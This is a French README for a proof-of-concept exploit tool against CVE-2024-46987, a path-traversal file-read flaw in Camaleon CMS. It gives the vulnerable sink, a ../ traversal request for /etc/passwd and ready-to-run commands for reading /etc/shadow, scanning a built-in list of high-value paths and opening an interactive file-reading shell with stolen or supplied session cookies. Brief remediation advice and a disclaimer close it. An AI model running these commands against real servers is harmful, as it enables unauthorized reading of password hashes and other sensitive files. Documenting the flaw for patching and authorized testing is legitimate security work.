
Exploit PoC pour CVE-2024-46987 — traversée de chemin arbitraire (lecture de fichier) dans Camaleon CMS
| Champ | Détail |
|---|
| CVE | CVE-2024-46987 |
| Produit | Camaleon CMS |
| Versions | >= 2.8.0, < 2.8.2 (également confirmé sur la version 2.9.0) |
| Type | Traversée de chemin / Lecture arbitraire de fichier (CWE-22) |
| Auth | Requis (tout compte à faibles privilèges) |
| CVSS | 7.7 Élevé — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N |
| Corrigé dans | 2.8.2 |
MediaController#download_private_file transmet params[:file] non nettoyé à fetch_file :
# Puits vulnérable
fetch_file("private/#{params[:file]}")
Aucune normalisation de chemin n'est appliquée avant que la valeur ne soit utilisée avec send_file, ce qui permet à un attaquant authentifié de sortir du répertoire private/ à l'aide de séquences ../ et de lire des fichiers arbitraires auxquels le processus Rails a accès.
Point de terminaison vulnérable :
GET /admin/media/download_private_file?file=../../../../../../etc/passwd
requestspip3 install requests
usage: CVE-2024-46987.py [-h] -u URL (--cookie COOKIE | -U USERNAME)
[-P PASSWORD] [-f FILE] [-d DEPTH]
[--interesting] [--interactive]
[--no-verify] [--debug]
# Lire /etc/passwd (par défaut)
python3 CVE-2024-46987.py -u http://target.com -U admin -P password
# Lire un fichier spécifique
python3 CVE-2024-46987.py -u http://target.com -U admin -P password -f /etc/shadow
# Scanner automatiquement une liste de chemins à haute valeur
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interesting
# Shell interactif de lecture de fichier
python3 CVE-2024-46987.py -u http://target.com -U admin -P password --interactive
# Fichier unique
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX" -f /etc/passwd
# Shell interactif
python3 CVE-2024-46987.py -u http://target.com \
--cookie "_app_session=XXXX; auth_token=YYYY" --interactive
| Option | Description |
|---|---|
-u | URL de base de la cible |
-U / -P | Nom d'utilisateur et mot de passe du CMS |
--cookie | Chaîne de cookie brute (alternative aux identifiants) |
-f | Chemin du fichier à lire (par défaut : /etc/passwd) |
-d | Profondeur de traversée — nombre de ../ ajoutés au début (par défaut : 10) |
--interesting | Parcourt la liste intégrée de chemins à haute valeur |
--interactive | Shell interactif de lecture de fichier |
--no-verify | Désactiver la vérification du certificat TLS |
--debug | Sortie verbeuse pour diagnostiquer les échecs d'authentification |
/procLes fichiers sous /proc/self/ (par exemple environ, cmdline) renvoient un code HTTP 200 mais un corps vide. Ceci est attendu — le noyau signale leur taille comme 0, donc send_file de Rails ne transmet rien. Utilisez plutôt des fichiers plats ordinaires.
Mettez à jour Camaleon CMS vers la version 2.8.2 ou une version ultérieure. Le correctif ajoute une normalisation de chemin appropriée et garantit que le chemin résolu reste dans le répertoire prévu avant d'appeler send_file.
Alternativement :
...Cette preuve de concept est publiée à des fins éducatives et pour aider les professionnels de la sécurité à comprendre et reproduire la vulnérabilité dans des environnements de test autorisés. L'auteur n'est pas responsable d'une quelconque mauvaise utilisation. Obtenez toujours une autorisation écrite explicite avant de tester des systèmes qui ne vous appartiennent pas.